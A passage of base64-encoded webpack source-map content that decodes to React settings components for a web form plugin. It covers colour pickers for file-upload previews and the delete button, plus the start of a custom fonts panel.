ybURlc2lnbiAhPT0gJ21hdGVyaWFsJyAmJlxuXHRcdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRmlsZSBwcmV2aWV3IGJhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1tdWx0aXVwbG9hZC1maWxlLXByZXZpZXctYmFja2dyb3VuZC1kZWZhdWx0YH1cblx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXsgdGhpcy5wcm9wcy5mb3JtRGVzaWduID09PSAnZmxhdCdcblx0XHRcdFx0XHRcdFx0XHQ/ICcjRURFREVEJ1xuXHRcdFx0XHRcdFx0XHRcdDogJyNGRkZGRkYnXG5cdFx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdGaWxlIHByZXZpZXcgaWNvbiBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1tdWx0aXVwbG9hZC1maWxlLXByZXZpZXctaWNvbi1kZWZhdWx0YH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM3Nzc3NzFcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRmlsZSBuYW1lIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfW11bHRpdXBsb2FkLWZpbGUtbmFtZS1kZWZhdWx0YH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMzMzMzMzNcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRmlsZSBzaXplIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfW11bHRpdXBsb2FkLWZpbGUtc2l6ZS1kZWZhdWx0YH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM4ODg4ODhcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnTG9hZGluZyBpY29uIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfW11bHRpdXBsb2FkLWZpbGUtbG9hZGVyLWNvbG9yYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiM4ODg4ODhcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHQ8L0NvbnRhaW5lcj5cblxuXHRcdFx0XHQ8Q29udGFpbmVyXG5cdFx0XHRcdFx0dmFsdWU9XCJlcnJvclwiXG5cdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdFcnJvcicgKSB9XG5cdFx0XHRcdD5cblxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRmlsZSBwcmV2aWV3IGJvcmRlciBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1tdWx0aXVwbG9hZC1maWxlLXByZXZpZXctYm9yZGVyLWVycm9yYH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNFMDQ1NjJcIikgfWB9XG5cdFx0XHRcdFx0Lz5cblxuXHRcdFx0XHRcdHsgdGhpcy5wcm9wcy5mb3JtRGVzaWduICE9PSAnbWF0ZXJpYWwnICYmXG5cdFx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdGaWxlIHByZXZpZXcgYmFja2dyb3VuZCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfW11bHRpdXBsb2FkLWZpbGUtcHJldmlldy1iYWNrZ3JvdW5kLWVycm9yYH1cblx0XHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXsgdGhpcy5wcm9wcy5mb3JtRGVzaWduID09PSAnZmxhdCdcblx0XHRcdFx0XHRcdFx0XHQ/ICcjRURFREVEJ1xuXHRcdFx0XHRcdFx0XHRcdDogJyNGRkZGRkYnXG5cdFx0XHRcdFx0XHRcdH1cblx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0fVxuXG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdGaWxlIHByZXZpZXcgaWNvbiBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1tdWx0aXVwbG9hZC1maWxlLXByZXZpZXctaWNvbi1lcnJvcmB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjNzc3NzcxXCIpIH1gfVxuXHRcdFx0XHRcdC8+XG5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ZpbGUgc2l6ZSBpY29uIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfW11bHRpdXBsb2FkLWZpbGUtZXJyb3ItY29sb3JgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0UwNDU2MlwiKSB9YH1cblx0XHRcdFx0XHQvPlxuXG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXG5cdFx0XHQ8L1RhYnM+XG5cdFx0KTtcblx0fVxufVxuXG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL2Zvcm0vY29tcG9uZW50cy9hcHBlYXJhbmNlL2NvbG9ycy9maWxlLXVwbG9hZC91cGxvYWQtZmlsZS1tdWx0aXBsZS5qcyIsImltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUgLCBnZXRUaGVtZVByZWZpeCwgZ2V0RGVmYXVsdFZhbHVlIH0gZnJvbSAnLi4vLi4vLi4vLi4vLi4vdXRpbHMnO1xuXG5pbXBvcnQgQ29sb3JQaWNrZXIgZnJvbSAnLi4vLi4vLi4vLi4vLi4vc2V0dGluZ3MvaW5wdXRzL2NvbG9yLXBpY2tlcic7XG5pbXBvcnQgVGFicyBmcm9tICcuLi8uLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL3RhYnMnO1xuaW1wb3J0IENvbnRhaW5lciBmcm9tICcuLi8uLi8uLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL2NvbnRhaW5lcic7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIEZpbGVEZWxldGVCdXR0b25Db2xvcnMgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cdH1cblxuXHRyZW5kZXIoKSB7XG5cdFx0cmV0dXJuIChcblx0XHRcdDxUYWJzXG5cdFx0XHRcdGRlZmF1bHQ9XCJkZWZhdWx0XCJcblx0XHRcdFx0dHlwZT1cInRhYnNcIlxuXHRcdFx0XHRleHRyYUNsYXNzPVwic3VpLXRhYnMtZmx1c2hlZFwiXG5cdFx0XHQ+XG5cblx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRGVmYXVsdCcgKSB9XG5cdFx0XHRcdFx0dmFsdWU9XCJkZWZhdWx0XCJcblx0XHRcdFx0PlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiMwMDAwMDAwMFwiKSB9YH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWJ1dHRvbi11cGxvYWQtZGVsZXRlLWJhY2tncm91bmQtc3RhdGljYH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnQmFja2dyb3VuZCBjb2xvcicgKSB9XG5cdFx0XHRcdFx0XHRpc0FscGhhXG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0XHQ8Q29sb3JQaWNrZXJcblx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRkZWZhdWx0VmFsdWU9e2AkeyBnZXREZWZhdWx0VmFsdWUodGhpcy5wcm9wcywgXCIjRTA0NTYyXCIpIH1gfVxuXHRcdFx0XHRcdFx0cHJvcGVydHk9e2AkeyBnZXRUaGVtZVByZWZpeCh0aGlzLnByb3BzKSB9YnV0dG9uLXVwbG9hZC1kZWxldGUtY29sb3Itc3RhdGljYH1cblx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnSWNvbiBjb2xvcicgKSB9XG5cdFx0XHRcdFx0Lz5cblx0XHRcdFx0PC9Db250YWluZXI+XG5cblx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnSG92ZXInICkgfVxuXHRcdFx0XHRcdHZhbHVlPVwiaG92ZXJcIlxuXHRcdFx0XHQ+XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0Y5RTRFOFwiKSB9YH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWJ1dHRvbi11cGxvYWQtZGVsZXRlLWJhY2tncm91bmQtaG92ZXJgfVxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdCYWNrZ3JvdW5kIGNvbG9yJyApIH1cblx0XHRcdFx0XHRcdGlzQWxwaGFcblx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNFMDQ1NjJcIikgfWB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1idXR0b24tdXBsb2FkLWRlbGV0ZS1jb2xvci1ob3ZlcmB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ljb24gY29sb3InICkgfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXG5cdFx0XHRcdDxDb250YWluZXJcblx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ZvY3VzJyApIH1cblx0XHRcdFx0XHR2YWx1ZT1cImZvY3VzXCJcblx0XHRcdFx0PlxuXHRcdFx0XHRcdDxDb2xvclBpY2tlclxuXHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdGRlZmF1bHRWYWx1ZT17YCR7IGdldERlZmF1bHRWYWx1ZSh0aGlzLnByb3BzLCBcIiNGOUU0RThcIikgfWB9XG5cdFx0XHRcdFx0XHRwcm9wZXJ0eT17YCR7IGdldFRoZW1lUHJlZml4KHRoaXMucHJvcHMpIH1idXR0b24tdXBsb2FkLWRlbGV0ZS1iYWNrZ3JvdW5kLWFjdGl2ZWB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0JhY2tncm91bmQgY29sb3InICkgfVxuXHRcdFx0XHRcdFx0aXNBbHBoYVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0PENvbG9yUGlja2VyXG5cdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0ZGVmYXVsdFZhbHVlPXtgJHsgZ2V0RGVmYXVsdFZhbHVlKHRoaXMucHJvcHMsIFwiI0UwNDU2MlwiKSB9YH1cblx0XHRcdFx0XHRcdHByb3BlcnR5PXtgJHsgZ2V0VGhlbWVQcmVmaXgodGhpcy5wcm9wcykgfWJ1dHRvbi11cGxvYWQtZGVsZXRlLWNvbG9yLWFjdGl2ZWB9XG5cdFx0XHRcdFx0XHRsYWJlbD17IHRyYW5zbGF0ZSggJ0ljb24gY29sb3InICkgfVxuXHRcdFx0XHRcdC8+XG5cdFx0XHRcdDwvQ29udGFpbmVyPlxuXHRcdFx0PC9UYWJzPlxuXHRcdCk7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9mb3JtL2NvbXBvbmVudHMvYXBwZWFyYW5jZS9jb2xvcnMvZmlsZS11cGxvYWQvdXBsb2FkLWZpbGUtZGVsZXRlLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSwgaGFzRmllbGRUeXBlLCBoYXNGaWVsZFdpdGhBdHRyaWJ1dGUgfSBmcm9tICcuLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBDb250YWluZXIgZnJvbSAnLi4vLi4vLi4vc2V0dGluZ3MvY29udGFpbmVycy9jb250YWluZXInO1xuaW1wb3J0IFJhZGlvVGFicyBmcm9tICcuLi8uLi8uLi9zZXR0aW5ncy9pbnB1dHMvcmFkaW8tdGFicyc7XG5pbXBvcnQgQWNjb3JkaW9uIGZyb20gJy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvYWNjb3JkaW9uJztcbmltcG9ydCBFbXB0eSBmcm9tICcuLi8uLi8uLi9zZXR0aW5ncy9jb250YWluZXJzL2VtcHR5JztcbmltcG9ydCBGb250U2V0dGluZ3MgZnJvbSAnLi4vc2V0dGluZ3MvZm9udHMnO1xuaW1wb3J0IFNldHRpbmdzUm93IGZyb20gJy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvc2V0dGluZ3Mtcm93JztcbmltcG9ydCBUYWJzIGZyb20gJy4uLy4uLy4uL3NldHRpbmdzL2NvbnRhaW5lcnMvdGFicyc7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIEZvbnRzIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdGNvbnN0IGhhc1BhZ2luYXRpb24gPSBoYXNGaWVsZFR5cGUoXG5cdFx0XHQncGFnZS1icmVhaycsXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc1NlY3Rpb24gPSBoYXNGaWVsZFR5cGUoXG5cdFx0XHQnc2VjdGlvbicsXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc1NpbmdsZVJhZGlvID0gaGFzRmllbGRXaXRoQXR0cmlidXRlKFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVycyxcblx0XHRcdCdyYWRpbycsXG5cdFx0XHQndmFsdWVfdHlwZScsXG5cdFx0XHQncmFkaW8nXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc1NpbmdsZURyb3Bkb3duID0gaGFzRmllbGRXaXRoQXR0cmlidXRlKFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVycyxcblx0XHRcdCdzZWxlY3QnLFxuXHRcdFx0J3ZhbHVlX3R5cGUnLFxuXHRcdFx0J3NpbmdsZSdcblx0XHQpO1xuXG5cdFx0Y29uc3QgaGFzTXVsdGlDaGVja2JveCA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQnY2hlY2tib3gnLFxuXHRcdFx0J3ZhbHVlX3R5cGUnLFxuXHRcdFx0J2NoZWNrYm94J1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNNdWx0aVNlbGVjdCA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQnc2VsZWN0Jyxcblx0XHRcdCd2YWx1ZV90eXBlJyxcblx0XHRcdCdtdWx0aXNlbGVjdCdcblx0XHQpO1xuXG5cdFx0Y29uc3QgaGFzRGF0ZVBpY2tlciA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQnZGF0ZScsXG5cdFx0XHQnZmllbGRfdHlwZScsXG5cdFx0XHQncGlja2VyJ1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNEYXRlRHJvcGRvd24gPSBoYXNGaWVsZFdpdGhBdHRyaWJ1dGUoXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzLFxuXHRcdFx0J2RhdGUnLFxuXHRcdFx0J2ZpZWxkX3R5cGUnLFxuXHRcdFx0J3NlbGVjdCdcblx0XHQpO1xuXG5cdFx0Y29uc3QgaGFzVGltZURyb3Bkb3duID0gaGFzRmllbGRXaXRoQXR0cmlidXRlKFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVycyxcblx0XHRcdCd0aW1lJyxcblx0XHRcdCdmaWVsZF90eXBlJyxcblx0XHRcdCdzZWxlY3QnXG5cdFx0KSB8fCBoYXNGaWVsZFdpdGhBdHRyaWJ1dGUoXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzLFxuXHRcdFx0J3RpbWUnLFxuXHRcdFx0J3RpbWVfdHlwZScsXG5cdFx0XHQndHdlbHZlJ1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNBZGRyZXNDb3VudHJ5ID0gaGFzRmllbGRXaXRoQXR0cmlidXRlKFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVycyxcblx0XHRcdCdhZGRyZXNzJyxcblx0XHRcdCdhZGRyZXNzX2NvdW50cnknLFxuXHRcdFx0J3RydWUnXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc05hbWVQcmVmaXggPSBoYXNGaWVsZFdpdGhBdHRyaWJ1dGUoXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzLFxuXHRcdFx0J25hbWUnLFxuXHRcdFx0J3ByZWZpeCcsXG5cdFx0XHQndHJ1ZSdcblx0XHQpO1xuXG5cdFx0Y29uc3QgaGFzR0RQUiA9IGhhc0ZpZWxkVHlwZShcblx0XHRcdCdnZHByY2hlY2tib3gnLFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVyc1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNDdXJyZW5jeSA9IGhhc0ZpZWxkVHlwZShcblx0XHRcdCdjdXJyZW5jeScsXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc1NpbmdsZVVwbG9hZCA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQndXBsb2FkJyxcblx0XHRcdCdmaWxlLXR5cGUnLFxuXHRcdFx0J3NpbmdsZSdcblx0XHQpIHx8IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQncG9zdGRhdGEnLFxuXHRcdFx0J3Bvc3RfaW1hZ2UnLFxuXHRcdFx0J2ZhbHNlJ1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNNdWx0aVVwbG9hZCA9IGhhc0ZpZWxkV2l0aEF0dHJpYnV0ZShcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnMsXG5cdFx0XHQndXBsb2FkJyxcblx0XHRcdCdmaWxlLXR5cGUnLFxuXHRcdFx0J211bHRpcGxlJ1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNFU2lnbiA9IGhhc0ZpZWxkVHlwZShcblx0XHRcdCdzaWduYXR1cmUnLFxuXHRcdFx0dGhpcy5wcm9wcy53cmFwcGVyc1xuXHRcdCk7XG5cblx0XHRjb25zdCBoYXNDYWxjdWxhdGlvbiA9IGhhc0ZpZWxkVHlwZShcblx0XHRcdCdjYWxjdWxhdGlvbicsXG5cdFx0XHR0aGlzLnByb3BzLndyYXBwZXJzXG5cdFx0KTtcblxuXHRcdGNvbnN0IGhhc0dyb3VwID0gaGFzRmllbGRUeXBlKFxuXHRcdFx0J2dyb3VwJyxcblx0XHRcdHRoaXMucHJvcHMud3JhcHBlcnNcblx0XHQpO1xuXG5cdFx0Y29uc3QgaXNQcmVzZXQgPSAhIF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMucHJlc2V0ICk7XG5cblx0XHRjb25zdCBoYXNQYWdpbmF0aW9uSGVhZGVyID0gXy5pc1VuZGVmaW5lZCggdGhpcy5wcm9wcy5zZXR0aW5ncy5wYWdpbmF0aW9uRGF0YSApIHx8IF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMuc2V0dGluZ3MucGFnaW5hdGlvbkRhdGFbICdwYWdpbmF0aW9uLWhlYWRlci1kZXNpZ24nIF0gKVxuXHRcdFx0PyAnJ1xuXHRcdFx0OiB0aGlzLnByb3BzLnNldHRpbmdzLnBhZ2luYXRpb25EYXRhWyAncGFnaW5hdGlvbi1oZWFkZXItZGVzaWduJyBdO1xuXG5cdFx0Y29uc3QgcGFnaW5hdGlvbkhlYWRlciA9IF8uaXNVbmRlZmluZWQoIHRoaXMucHJvcHMuc2V0dGluZ3MucGFnaW5hdGlvbkRhdGEgKSB8fCBfLmlzVW5kZWZpbmVkKCB0aGlzLnByb3BzLnNldHRpbmdzLnBhZ2luYXRpb25EYXRhWyAncGFnaW5hdGlvbi1oZWFkZXInIF0gKVxuXHRcdFx0PyAnJ1xuXHRcdFx0OiB0aGlzLnByb3BzLnNldHRpbmdzLnBhZ2luYXRpb25EYXRhWyAncGFnaW5hdGlvbi1oZWFkZXInIF07XG5cblx0XHRyZXR1cm4gKFxuXHRcdFx0PFNldHRpbmdzUm93XG5cdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnRm9udHMnICkgfVxuXHRcdFx0XHRkZXNjcmlwdGlvbj17IHRyYW5zbGF0ZShcblx0XHRcdFx0XHQnQnkgZGVmYXVsdCB0aGlzIGZvcm0gd2lsbCBpbmhlcml0IHRoZSBmb250cyB5b3VyIHRoZW1lIHVzZXMuICcgK1xuXHRcdFx0XHRcdCdZb3UgY2FuIG92ZXJ3cml0ZSB0aGVzZSBmb250cyB3aXRoIGN1c3RvbSBvbmVzIGZyb20gJyArXG5cdFx0XHRcdFx0J3t7bGlua319QnVubnkgRm9udHN7ey9saW5rfX0uJyxcblx0XHRcdFx0XHR7XG5cdFx0XHRcdFx0XHRjb21wb25lbnRzOiB7XG5cdFx0XHRcdFx0XHRcdGxpbms6IDxhIGhyZWY9XCJodHRwczovL2ZvbnRzLmJ1bm55Lm5ldC9hYm91dFwiIHRhcmdldD1cIl9ibGFua1wiIC8+LFxuXHRcdFx0XHRcdFx0fSxcblx0XHRcdFx0XHR9XG5cdFx0XHRcdCkgfVxuXHRcdFx0PlxuXG5cdFx0XHRcdDxSYWRpb1RhYnNcblx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdHByb3BlcnR5PVwiZm9ybS1mb250LWZhbWlseVwiXG5cdFx0XHRcdFx0ZGVmYXVsdD1cIlwiXG5cdFx0XHRcdD5cblxuXHRcdFx0XHRcdDxFbXB0eVxuXHRcdFx0XHRcdFx0dmFsdWU9XCJcIlxuXHRcdFx0XHRcdD5cblx0XHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnVXNlIFRoZW1lIEZvbnRzJyApIH1cblx0XHRcdFx0XHQ8L0VtcHR5PlxuXG5cdFx0XHRcdFx0PENvbnRhaW5lclxuXHRcdFx0XHRcdFx0dmFsdWU9XCJjdXN0b21cIlxuXHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdDdXN0b20nICkgfVxuXHRcdFx0XHRcdD5cblxuXHRcdFx0XHRcdFx0PGRpdiBjbGFzc05hbWU9XCJzdWktYWNjb3JkaW9uXCI+XG5cblx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0bGFiZWw9eyB0cmFuc2xhdGUoICdSZXNwb25zZSBNZXNzYWdlJyApIH1cblx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdDxGb250U2V0dGluZ3Ncblx0XHRcdFx0XHRcdFx0XHRcdHsgLi4udGhpcy5wcm9wcyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRwcmVmaXg9XCJjZm9ybS1yZXNwb25zZVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0U2l6ZT1cIjE1XCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRGb250PVwiY3VzdG9tXCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRDdXN0b209XCJpbmhlcml0XCJcblx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRXZWlnaHQ9XCI0MDBcIlxuXHRcdFx0XHRcdFx0XHRcdC8+XG5cdFx0XHRcdFx0XHRcdDwvQWNjb3JkaW9uPlxuXG5cdFx0XHRcdFx0XHRcdHsgKCBpc1ByZXNldCB8fCBoYXNQYWdpbmF0aW9uICYmIGhhc1BhZ2luYXRpb25IZWFkZXIgPT09ICdzaG93JyAmJiBwYWdpbmF0aW9uSGVhZGVyID09PSAnbmF2JyApICYmXG5cdFx0XHRcdFx0XHRcdFx0PEFjY29yZGlvblxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi50aGlzLnByb3BzIH1cblx0XHRcdFx0XHRcdFx0XHRcdGxhYmVsPXsgdHJhbnNsYXRlKCAnUGFnaW5hdGlvbiBTdGVwcycgKSB9XG5cdFx0XHRcdFx0XHRcdFx0PlxuXHRcdFx0XHRcdFx0XHRcdFx0PEZvbnRTZXR0aW5nc1xuXHRcdFx0XHRcdFx0XHRcdFx0XHR7IC4uLnRoaXMucHJvcHMgfVxuXHRcdFx0XHRcdFx0XHRcdFx0XHRwcmVmaXg9XCJjZm9ybS10aW1lbGluZVwiXG5cdFx0XHRcdFx0XHRcdFx0XHRcdGRlZmF1bHRTaXplPVwiMTJcIlxuXHRcdFx0XHRcdFx0XHRcdFx0XHRkZWZhdWx0Rm9udD1cImN1c3RvbVwi